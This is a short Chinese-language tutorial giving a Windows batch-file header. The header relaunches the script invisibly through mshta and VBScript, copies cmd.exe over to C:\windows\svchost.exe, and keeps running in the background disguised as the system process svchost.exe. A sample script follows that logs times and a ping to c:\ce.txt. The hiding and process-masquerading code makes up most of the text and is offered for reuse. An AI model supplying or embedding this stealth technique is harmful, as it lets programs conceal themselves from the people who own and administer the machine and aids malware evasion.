1.把这段代码写在前面
@echo off
if "%1"=="r" goto start
if "%1"=="h" goto begin
start mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" h",0)(window.close)&&exit
:begin
copy C:\windows\system32\cmd.exe C:\windows\svchost.exe /y
start mshta vbscript:CreateObject("WScript.Shell").Run("%systemroot%\svchost.exe /c %~nx0 r",0)(window.close)&&exit
:start
该批处理运行后,黑框框会消失。接下来,它会把自己隐藏成进程svchost.exe在后台运行
eg:
@echo off
if "%1"=="r" goto start
if "%1"=="h" goto begin
start mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" h",0)(window.close)&&exit
:begin
copy C:\windows\system32\cmd.exe C:\windows\svchost.exe /y
start mshta vbscript:CreateObject("WScript.Shell").Run("%systemroot%\svchost.exe /c %~nx0 r",0)(window.close)&&exit
:start
::create by yoodo by qrui;
echo %date%:%time%"开始bat";>>c:\ce.txt
ping -n 10 192.168.1.1 >>c:\ce.txt
echo %date%:%time%"bat运行完成";>>c:\ce.txt